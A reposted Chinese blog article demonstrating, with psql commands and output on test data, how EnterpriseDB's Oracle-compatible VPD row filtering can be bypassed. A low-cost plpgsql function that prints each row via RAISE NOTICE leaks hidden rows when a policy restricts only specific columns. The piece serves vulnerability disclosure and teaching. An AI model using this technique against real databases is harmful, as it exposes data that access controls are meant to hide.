神刀安全网

EnterpriseDB (PPAS) Virtual Private Database(VPD) Oracle兼容性 漏洞攻击

不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。
https://yq.aliyun.com/articles/14731
PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。
PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的,解决了需要使用视图来隔离数据的目的。
RLS的隔离可以参考我以前写的文章
http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题,EnterpriseDB 9.3针对Oracle的兼容性,提供了一个叫VPD的特性,因为9.3的版本较老,那个时候还没有RLS,所以这个特性其实是基于query rewrite来做的,与barrier视图类似。所以攻击方法一样有效,利用优化器的特性,先处理成本低的操作符或函数。

来看看怎么攻击?创建测试表和数据

postgres=# create table t2(id int, info text,id2 int); CREATE TABLE postgres=# insert into t2 values (1,'test',0); INSERT 16633 1 postgres=# insert into t2 values (2,'test',1); INSERT 16634 1 postgres=# insert into t2 values (3,'test',2); INSERT 16635 1 postgres=# insert into t2 values (4,'test',2); INSERT 16636 1 

创建VPD函数,对于digoal用户,只允许他查看info=’digoal’的记录。

CREATE OR REPLACE FUNCTION vpd1(     s_schema character varying,     s_object character varying)   RETURNS character varying AS $BODY$   RESULT varchar2(20);    rolname    varchar2(64);    BEGIN   rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');   if rolname = 'digoal' then     RESULT = 'info = ''' ||rolname||'''' ;   else     RESULT = '1=1' ;   END IF;   RETURN(RESULT); END$BODY$   LANGUAGE edbspl VOLATILE SECURITY DEFINER   COST 100; 

添加VPD策略, select 任意字段都启用vpd策略

DECLARE   v_object_schema VARCHAR2(30) := 'public';   v_object_name VARCHAR2(30) := 't2';   v_policy_name VARCHAR2(30) := 's_t2';   v_function_schema VARCHAR2(30) := 'public';   v_policy_function VARCHAR2(30) := 'vpd1';   v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';   v_update_check boolean := true; BEGIN DBMS_RLS.ADD_POLICY( v_object_schema, v_object_name, v_policy_name, v_function_schema, v_policy_function, v_statement_types, update_check => v_update_check ); END; 

连接到digoal用户

/c postgres digoal 

查看执行计划,会筛选info=’digoal’的数据

postgres=> explain select id from t2;                            QUERY PLAN                             -----------------------------------------------------------------  Seq Scan on t2  (cost=0.00..24.50 rows=6 width=40)    Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text)) (2 rows) 

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as $$               declare  begin   raise notice '%', v_t2;   return true; end; $$ language plpgsql strict cost 0.00000000001; 

查看使用了f(t2)后的执行计划

postgres=> explain select * from t2 where f(t2);                                                                                                                                              QUERY PLAN                                   -----------------------------------------------------------------------------  Seq Scan on t2  (cost=0.00..24.50 rows=2 width=40)    Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text)) (2 rows) 

实际上,无法攻击,效果与barrier视图类似,没有办法进行攻击

postgres=> select * from t2 where f(t2);          id | info | id2  ----+------+----- (0 rows) 

但是,如果你指针对隐私列进行筛选的话,那么就有漏洞了。

DECLARE   v_object_schema VARCHAR2(30) := 'public';   v_object_name VARCHAR2(30) := 't2';   v_policy_name VARCHAR2(30) := 's_t2'; BEGIN DBMS_RLS.DROP_POLICY( v_object_schema, v_object_name, v_policy_name ); end;  DECLARE   v_object_schema VARCHAR2(30) := 'public';   v_object_name VARCHAR2(30) := 't2';   v_policy_name VARCHAR2(30) := 's_t2';   v_function_schema VARCHAR2(30) := 'public';   v_policy_function VARCHAR2(30) := 'vpd1';   v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';   v_update_check boolean := true;   v_sec_relevant_cols text := 'info';  -- 隐私列, 不加的话默认是所有列强制走vpd BEGIN DBMS_RLS.ADD_POLICY( v_object_schema, v_object_name, v_policy_name, v_function_schema, v_policy_function, v_statement_types, update_check => v_update_check, sec_relevant_cols => v_sec_relevant_cols ); END; 

当没有查询到隐私列时,是不会带上filter的,所以给攻击带来了希望

/c postgres digoal  postgres=> explain select info from t2;                                  QUERY PLAN                             -----------------------------------------------------------------  Seq Scan on t2  (cost=0.00..24.50 rows=6 width=32)    Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text)) (2 rows)  postgres=> explain select id,id2 from t2;                       QUERY PLAN                       ------------------------------------------------------  Seq Scan on t2  (cost=0.00..21.60 rows=1160 width=8) (1 row) 

带上隐私列时,filter会自动加上.

postgres=> select * from t2;     id | info | id2  ----+------+----- (0 rows) 

在查询中不包含隐私列时,攻击成功

postgres=> select id,id2 from t2 where f(t2); NOTICE:  (1,test,0) NOTICE:  (2,test,1) NOTICE:  (3,test,2) NOTICE:  (4,test,2)  id | id2  ----+-----   1 |   0   2 |   1   3 |   2   4 |   2 (4 rows) 
EnterpriseDB (PPAS) Virtual Private Database(VPD) Oracle兼容性 漏洞攻击

扫我,和云栖在线交流

【云栖快讯】如何实现推荐系统个性化,做到“千人千面”?如何将1人年工作量缩成21天?6月16日,阿里云推荐引擎技术负责人郑重做客云栖社区分享其中奥秘。  详情请点击

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » EnterpriseDB (PPAS) Virtual Private Database(VPD) Oracle兼容性 漏洞攻击

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址